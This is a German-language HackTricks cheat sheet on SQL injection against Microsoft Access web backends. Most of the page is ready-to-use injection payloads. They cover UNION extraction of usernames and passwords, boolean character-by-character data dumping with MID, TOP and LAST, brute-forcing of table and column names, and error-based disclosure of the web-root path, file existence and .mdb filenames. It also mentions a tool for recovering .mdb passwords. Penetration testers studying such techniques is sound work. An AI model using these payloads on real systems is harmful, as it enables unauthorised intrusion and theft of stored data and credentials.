11 KiB
MS Access SQL Injection
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.
Online-Spielplatz
DB-Einschränkungen
Zeichenkettenverkettung
Die Zeichenkettenverkettung ist möglich mit den Zeichen & (%26)
und + (%2b)
.
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
Kommentare
In MS Access gibt es keine Kommentare, aber anscheinend ist es möglich, das letzte Zeichen einer Abfrage mit einem NULL-Zeichen zu entfernen:
1' union select 1,2 from table%00
Wenn dies nicht funktioniert, könnten Sie immer die Syntax der Abfrage korrigieren:
1' UNION SELECT 1,2 FROM table WHERE ''='
Gestapelte Abfragen
Sie werden nicht unterstützt.
LIMIT
Der LIMIT
Operator ist nicht implementiert. Es ist jedoch möglich, die Ergebnisse einer SELECT-Abfrage auf die ersten N Tabellenzeilen mit dem TOP
Operator zu begrenzen. TOP
akzeptiert als Argument eine Ganzzahl, die die Anzahl der zurückzugebenden Zeilen darstellt.
1' UNION SELECT TOP 3 attr FROM table%00
Genau wie TOP können Sie LAST
verwenden, um die Zeilen vom Ende zu erhalten.
UNION-Abfragen/Unterabfragen
Bei einer SQL-Injection möchten Sie normalerweise eine neue Abfrage ausführen, um Informationen aus anderen Tabellen abzurufen. MS Access erfordert immer, dass in Unterabfragen oder zusätzlichen Abfragen ein FROM
angegeben wird.
Wenn Sie also ein UNION SELECT
oder UNION ALL SELECT
oder ein SELECT
in Klammern in einer Bedingung ausführen möchten, müssen Sie immer eine FROM
mit einem gültigen Tabellennamen angeben.
Daher müssen Sie einen gültigen Tabellennamen kennen.
-1' UNION SELECT username,password from users%00
Verkettung von Gleichheitszeichen + Teilzeichenkette
{% hint style="warning" %} Dies ermöglicht es Ihnen, Werte der aktuellen Tabelle abzurufen, ohne den Tabellennamen zu kennen. {% endhint %}
MS Access erlaubt eine seltsame Syntax wie '1'=2='3'='asd'=false
. Da die SQL-Injection normalerweise in einer WHERE
-Klausel stattfindet, können wir das ausnutzen.
Stellen Sie sich vor, Sie haben eine SQLi in einer MS Access-Datenbank und Sie wissen (oder haben geraten), dass ein Spaltenname "username" ist und dies das Feld ist, das Sie abfragen möchten. Sie könnten die verschiedenen Antworten der Webanwendung überprüfen, wenn die Technik der verketteten Gleichheitszeichen verwendet wird, und potenziell Inhalte mit einer booleschen Injection unter Verwendung der Mid
-Funktion abrufen, um Teilzeichenketten zu erhalten.
'=(Mid(username,1,3)='adm')='
Wenn Sie den Namen der Tabelle und Spalte kennen, die Sie abrufen möchten, können Sie eine Kombination aus Mid
, LAST
und TOP
verwenden, um alle Informationen über eine boolean SQLi auszulecken:
SELECT TOP 1 MID(column, 1, 1) FROM (SELECT TOP 1 column FROM table ORDER BY column) AS table_alias UNION SELECT TOP 1 MID(column, 2, 1) FROM (SELECT TOP 1 column FROM table ORDER BY column) AS table_alias UNION SELECT TOP 1 MID(column, 3, 1) FROM (SELECT TOP 1 column FROM table ORDER BY column) AS table_alias ...
Dieser Angriff nutzt die Funktionen MID
und TOP
, um die Daten zeichenweise abzurufen. Durch die Verwendung von LAST
können Sie die Länge der Spalte ermitteln. Durch die Kombination dieser Techniken können Sie alle Informationen aus der angegebenen Tabelle und Spalte abrufen.
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
Fühlen Sie sich frei, dies im Online-Playground zu überprüfen.
Brute-Forcing von Tabellennamen
Mit der Chaining-Equals-Technik können Sie auch Tabellennamen brute-forcen, beispielsweise mit:
'=(select+top+1+'lala'+from+<table_name>)='
Sie können auch einen traditionelleren Weg verwenden:
-1' AND (SELECT TOP 1 <table_name>)%00
Fühlen Sie sich frei, dies im Online-Playground zu überprüfen.
- Sqlmap häufige Tabellennamen: https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt
- Es gibt eine weitere Liste unter http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
Brute-Forcing von Spaltennamen
Sie können aktuelle Spaltennamen mit dem Chaining-Equals-Trick brute-forcen, indem Sie Folgendes verwenden:
'=column_name='
Oder mit einer group by-Anweisung:
-1' GROUP BY column_name%00
Oder Sie können die Spaltennamen einer anderen Tabelle mit Brute-Force ermitteln:
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
Daten dumpen
Wir haben bereits die Chaining-Equals-Technik besprochen, um Daten aus der aktuellen und anderen Tabellen zu dumpen. Aber es gibt auch andere Möglichkeiten:
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
Kurz gesagt verwendet die Abfrage eine "if-then" Anweisung, um einen "200 OK" auszulösen, wenn sie erfolgreich ist, oder einen "500 Internal Error" sonst. Durch die Verwendung des TOP 10 Operators ist es möglich, die ersten zehn Ergebnisse auszuwählen. Die anschließende Verwendung von LAST ermöglicht es, nur das 10. Tupel zu berücksichtigen. Mit dem MID Operator ist es möglich, einen einfachen Zeichenvergleich durchzuführen. Durch die richtige Änderung des Index von MID und TOP können wir den Inhalt des Feldes "Benutzername" für alle Zeilen ausgeben.
Zeitbasiert
Überprüfen Sie https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN
Andere interessante Funktionen
Mid('admin',1,1)
gibt den Teilstring ab Position 1 mit Länge 1 zurück (Startposition ist 1)LEN('1234')
gibt die Länge des Strings zurückASC('A')
gibt den ASCII-Wert des Zeichens zurückCHR(65)
gibt den String vom ASCII-Wert zurückIIF(1=1,'a','b')
if thenCOUNT(*)
zählt die Anzahl der Elemente
Tabellen auflisten
Von hier aus können Sie eine Abfrage sehen, um Tabellennamen zu erhalten:
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
Jedoch ist es sehr typisch, SQL-Injections zu finden, bei denen Sie keinen Zugriff haben, um die Tabelle MSysObjects
zu lesen.
Dateisystemzugriff
Vollständiger Pfad des Web-Root-Verzeichnisses
Die Kenntnis des absoluten Pfads des Web-Roots kann weitere Angriffe erleichtern. Wenn Anwendungsfehler nicht vollständig verborgen sind, kann der Verzeichnispfad aufgedeckt werden, indem versucht wird, Daten aus einer nicht vorhandenen Datenbank auszuwählen.
http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00
MS Access antwortet mit einer Fehlermeldung, die den vollständigen Pfad des Webverzeichnisses enthält.
Dateien auflisten
Der folgende Angriffsvektor kann verwendet werden, um die Existenz einer Datei im Remote-Dateisystem zu ermitteln. Wenn die angegebene Datei existiert, löst MS Access eine Fehlermeldung aus, die darauf hinweist, dass das Datenbankformat ungültig ist:
http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00
Eine andere Möglichkeit, Dateien aufzulisten, besteht darin, ein Datenbanktabellenelement anzugeben. Wenn die angegebene Datei existiert, zeigt MS Access eine Fehlermeldung zum Datenbankformat an.
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00
.mdb-Dateiname erraten
Der Datenbankdateiname (.mdb) kann mit der folgenden Abfrage ermittelt werden:
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00
Dabei ist name[i] ein .mdb-Dateiname und realTable eine vorhandene Tabelle in der Datenbank. Obwohl MS Access immer eine Fehlermeldung auslöst, ist es möglich, zwischen einem ungültigen Dateinamen und einem gültigen .mdb-Dateinamen zu unterscheiden.
.mdb-Passwortknacker
Access PassView ist ein kostenloses Dienstprogramm, das verwendet werden kann, um das Hauptdatenbankpasswort von Microsoft Access 95/97/2000/XP oder Jet Database Engine 3.0/4.0 wiederherzustellen.
Referenzen
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.